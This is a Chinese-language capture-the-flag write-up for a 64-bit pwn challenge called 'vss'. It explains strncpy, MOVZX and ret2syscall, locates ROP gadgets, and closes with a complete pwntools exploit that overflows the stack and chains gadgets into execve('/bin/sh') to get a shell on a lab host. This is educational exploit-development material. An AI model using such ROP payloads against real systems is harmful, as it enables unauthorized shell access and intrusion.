前置知识:{
(1)strncpy 是 C语言的库函数之一,来自 C语言标准库,定义于 string.h,char *strncpy(char *dest, const char *src, int n),把src所指向的字符串中以src地址开始的前n个字节复制到dest所指的数组中,并返回被复制后的dest。
(2)MOVZX指令
汇编语言数据传送指令MOV的变体。无符号扩展,并传送。
movzx是将源操作数的内容拷贝到目的操作数,并将该值0扩展至16位或者32位。但是它只适用于无符号整数。 他大致下面的三种格式。
  movzx 32位通用寄存器, 8位通用寄存器/内存单元
  movzx 32位通用寄存器, 16位通用寄存器/内存单元
  movzx 16位通用寄存器, 8位通用寄存器/内存单元
  举个例子。例如
  令eax=00304000h
  若执行 movzx eax, ax后 eax = 00004000h 。
  若执行 movzx eax, ah后 eax = 00000040h。
  又如:
  MOV BL,80H
  MOVZX AX,BL
  运行完以上汇编语句之后,AX的值为0080H。由于BL为80H,最高位也即符号位为1,但在进行无符号扩展时,其扩展的高8位均为0,故赋值AX为0080H。
  总结:
  movzx其实就是将我们的源操作数取出来,然后置于目的操作数,目的操作数其余位用0填充。
(3)ret2syscall 控制程序执行系统调用,获取 shell。
32位下
int 80h引发系统中断
系统调用号,即 eax 应该为 0xb
第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
第二个参数,即 ecx 应该为 0
第三个参数,即 edx 应该为 0
64位下
syscall 引发系统中断(ps:syscall这个指令,它是根据rax寄存器的值来查询系统调用表,并执行对应函数。)
rax存放系统调用号
rdi,rsi,rdx,r10,r8,r9依次存放函数所需的6个参数
(ps:x64系统调用函数,需要给rax传对应函数的值,具体参考:http://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
(4)执行execve("/bin/sh",0,0)可以getshell
(5)关于alarm
https://www.jb51.net/article/159124.htm
(6)puts 和 printf的用法一样,puts()函数的作用与语句“printf("%s\n",s);的作用相同
}

1.下载题目文件,然后配合socat搭建pwn题目环境

2.checksec 查看保护机制

  1. ida64打开该文件,并且在ubuntu运行支持远程ida64调试的文件

4.查看main函数

发现有read函数可以利用,然后调用了一个verify的函数并且传入被read函数写入的字符,跟入verify

可以看到有很多奇奇怪怪的东西,不过主要就是一个调用函数,以及if分支语句

5.sub_400330函数其实就是strncpy:

在main函数第一行断点,运行到read,随便输入


可以看到read是从rsi中的地址处开始写入读入的字符串的,然后步入verify函数,运行到sub_400330函数的位置


运行sub_400330后

符合srncpy函数的功能

6.然后就是if分支


即判断刚刚从input赋值过来的字符串中的第一和第二个字符串是否与py匹配,若有一个不匹配则进入if语句,第一次由于随意输入了内容,然后进入if语句中一直运行,直到程序崩溃了

7.第二次调试, 输入py开头的字符串开始调试


发现程序已经不崩溃了,只是返回地址出现了问题。(只需要将rsp指向返回地址即可执行指令)

可以看到strncpy拷贝的字符串最后八个字节刚刚好可以覆盖返回地址

先寻找改变rsp的指令
通过ROPgadget --binary ./vss --only "add|ret" | grep "rsp" 可以找到:

由上面可知使用add rsp,0x58;ret这一条指令即可合适地改变rsp在栈中的指向
故:0x46f205 add rsp,0x58 ; ret

因为提供的文件没有libc,文件中也没有system函数和/bin/sh函数之类的,所以要用到syscall,即调用syscall中的execve来getshell,所以要找到操作rdi,rsi,rdx,rax的指令,经过一番搜获得了:
ROPgadget --binary ./vss --only "pop|ret"
0x46f208 pop rax ; ret
0x401823 pop rdi ; ret
0x401937 pop rsi ; ret
0x43ae05 pop rdx ; ret
之前在ida中看到的其中一个syscall的地址:0x437ecf
sys_execve的系统调用号为59,16进制下的3b

问题:字符串/bin/sh\x00是通过什么方式传入到rdi中?
解决1:通过将字符串写入到另一个寄存器中,然后通过这个寄存器传入到rdi中
解决1实现:
ROPgadget --binary ./vss --only "mov|ret"
0x422568 mov qword ptr [rdi],rcx ; ret
ROPgadget --binary ./vss --only "pop|ret" | grep "rcx"
0x462873 pop rcx ; ret

解决2:asm将/bin/sh转为shellcode
解决2实现:手动查ascii表->0x0068732f6e69622f

10.编写exp


from pwn import *

context.binary = './vss'
link = remote("192.168.93.137","6666")
add_rsp_ret = 0x46f205
rax_ret = 0x46f208
rdi_ret = 0x401823
rsi_ret = 0x401937
rdx_ret = 0x43ae05
syscall = 0x437ecf
#shellcode = 0x0068732f6e69622f
mov_rcx_to_rdi = 0x422568
rcx_ret = 0x462873
payload = p64(0x7970)
payload += 'A'*0x40
payload += p64(add_rsp_ret)
payload += 'A'*0x8
payload += p64(rax_ret)
payload += p64(0x3b)
payload += p64(rcx_ret)
payload += '/bin/sh\x00'
payload += p64(mov_rcx_to_rdi)
#payload += p64(rdi_ret)
#payload += p64(shellcode)
payload += p64(rsi_ret)
payload += p64(0)
payload += p64(rdx_ret)
payload += p64(0)
payload += p64(syscall)
link.recvuntil("Password:\n")
link.sendline(payload)
sleep(0.2)
link.interactive()
#注释的地方: shellcode:查找ascii表,写出来的8字节 16进制数据
#经过试验 p64(rdi_ret)后,p64(shellcode)是不成功的
#p64(rdi_ret) 后,'/bin/sh\x00' 也是不成功的
#然而 p64(rcx_ret)后'/bin/sh\x00' 再 p64(mov_rcx_to_rdi) 却是可以的
#so,rdi中应该装的是指向/bin/sh\x00字符串的地址

运行exp->getshell->cat flag